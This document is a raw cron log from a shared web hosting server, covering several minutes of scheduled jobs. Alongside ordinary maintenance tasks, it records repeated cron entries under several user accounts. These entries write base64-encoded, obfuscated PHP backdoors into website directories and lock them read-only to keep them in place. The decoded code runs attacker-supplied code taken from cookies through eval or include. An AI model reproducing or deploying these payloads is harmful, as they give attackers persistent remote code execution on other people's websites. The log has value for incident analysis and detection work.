Mar  1 20:36:02 medusa CROND[15415]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:36:02 medusa CROND[15416]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:36:02 medusa CROND[15417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:36:02 medusa CROND[15418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:36:02 medusa CROND[15421]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:36:02 medusa CROND[15422]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:36:02 medusa CROND[15423]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:36:02 medusa CROND[15425]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:36:02 medusa CROND[15426]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:36:02 medusa CROND[15427]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:36:02 medusa CROND[15435]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:37:02 medusa CROND[31789]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:37:02 medusa CROND[31790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:37:02 medusa CROND[31795]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:37:02 medusa CROND[31794]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:37:02 medusa CROND[31800]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:37:02 medusa CROND[31802]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:37:02 medusa CROND[31806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:37:02 medusa CROND[31807]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:37:02 medusa CROND[31811]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:37:02 medusa CROND[31813]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:37:02 medusa CROND[31818]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:37:02 medusa CROND[31819]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:37:02 medusa CROND[31810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:38:01 medusa CROND[18195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:38:01 medusa CROND[18196]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:38:01 medusa CROND[18197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:38:01 medusa CROND[18198]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:38:01 medusa CROND[18200]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:38:01 medusa CROND[18201]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:38:01 medusa CROND[18203]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:38:01 medusa CROND[18204]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
